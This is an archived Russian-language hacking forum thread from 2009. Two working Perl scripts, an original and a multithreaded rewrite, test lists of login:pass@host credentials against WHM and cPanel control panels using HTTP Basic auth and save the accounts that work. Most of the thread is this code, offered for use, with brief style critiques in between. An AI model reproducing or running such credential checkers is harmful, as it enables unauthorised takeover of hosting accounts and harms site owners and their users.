PDA

Просмотр полной версии : [PERL]Simple WHM & Cpanel Checker


Sharky
03.02.2009, 02:49
Простенький чекер WHM и CPANEL акков


Скармливать файл с акками вида:
login:pass@host.com
login1:pass1@host1.com
login2:pass2@host2.com

#!/usr/bin/perl

use IO::Socket;
use MIME::Base64;

my @acc : shared;
my $i : shared;

$accounts = 'accs.txt'; #Файл с акками
$good = 'good.txt'; #Файл с прочеканными гуд акками
$port = '2086'; #WHM - 2086, Cpanel - 2082
$timeout = '5'; #Таймаут

open (ACS, "<$accounts");
@acc = acc();

while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my ($logpass, $server) = split(/@/, $acc);
my ($login, $pass) = split(/:/, $logpass);

$lp = $login.":".$pass;
$nn = "\r\n";
$auth = MIME::Base64::encode($lp);

my $sock = new IO::Socket::INET
(
PeerAddr => $server,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout
);
if(!$sock){
print "$server - [TIMEOUT]\n"
}else{

my $re = "GET / HTTP/1.1".$nn.
"Host: ".$server.$nn.
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7".$nn.
"Pragma: no-cache".$nn.
"Cache-Control: no-cache".$nn.
"Authorization: Basic ".$auth.$nn.
"Connection: Keep-Alive".$nn.$nn;
print $sock $re;
sysread ($sock, my $answ, 400);
close $sock;

if ($answ =~ /200/){
print "$server - [OK]\n";
open(FILE, ">>$good");
print FILE "$acc\n";
close(FILE);
}else{
print "$server - [BAD]\n";
}
{lock($i);$i++;}
}
}


sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

Sharky
03.02.2009, 22:45
Неужели никто покритиковать не может? :)

Chaak
03.02.2009, 23:01
говно

Sharky
04.02.2009, 00:17
говно
спасибки чаки :)

N19hTW0lF
04.02.2009, 16:52
добавь многопоточность

demond
04.02.2009, 21:35
просили по критиковать, критикую :-)

зачем shared, если потоков нет?

my @acc : shared;
my $i : shared;

не лучше ли использовать $/ вместо:
$nn = "\r\n";
Везде нормально, а тут почему то переменные внесены в кавычки!

print "$server - [OK]\n";
print FILE "$acc\n";
print "$server - [BAD]\n";

Почему бы не написать так:

print $server." - [OK]".$/;
print FILE $acc.$/;
print $server." - [BAD]".$/;

Sharky
04.02.2009, 22:17
N19hTW0lF, в след версии сделаю
demond, спасибо в след версии учту ( я только учусь :) )

Chaak
04.02.2009, 22:22
Вы что задроты так код палировать?

Kaimi
04.02.2009, 23:26
Вы что задроты так код палировать?

А это мысль...


#!/usr/bin/perl -w
use strict;
use threads;
use threads::shared;
use IO::Socket;
use MIME::Base64();
use Fcntl ':flock';

my $accounts = 'accs.txt'; #Файл с акками login:pass@host
my $good = 'good.txt'; #Файл с прочеканными гуд акками
my $port = '2082' ; #WHM - 2086, Cpanel - 2082
my $timeout = 5 ; #Таймаут
my $threads = 1 ; #Потоки
$| = 1;

my @trl;

open ACS, "<", $accounts || die $!;
chomp(my @acc : shared = <ACS>);
close ACS;

my $size = scalar @acc;
my $i : shared = 0;

for(0..$threads-1) {$trl[$_] = threads->create(\&check, $_);}
for(@trl) { $_->join; }

sub check {
while(@acc)
{
my ($cred, $host) = split /@/, shift @acc;
my $s = sockme($host, $port);
next if !$s;
my $request = "GET / HTTP/1.0\n".
"Host: $host\n".
"User-Agent: Mozilla/5.0\n".
"Connection: close\n".
"Authorization: Basic ".MIME::Base64::encode($cred)."\n\n";
print $s $request;
read $s, my $answ, 128;
$answ =~ /200 OK/ ? note($cred.':'.$host) : ();

{lock($i);$i++;}
print "[ ".sprintf("%.2f", ($i/$size)*100)."% ]\r";
}
}

sub note {
print localtime()." [+] $_[0]\n";
open F, ">>", $good || warn $!;
flock F, 'LOCK_EX';
print F $_[0]."\n";
flock F, 'LOCK_UN';
close F;
}

sub sockme {
my $sock = new IO::Socket::INET
(
PeerAddr => $_[0],
PeerPort => $_[1],
PeerProto => 'tcp',
TimeOut => $timeout,
) || warn $!;
return $sock ? $sock : 0;
}


Мб есть косяки...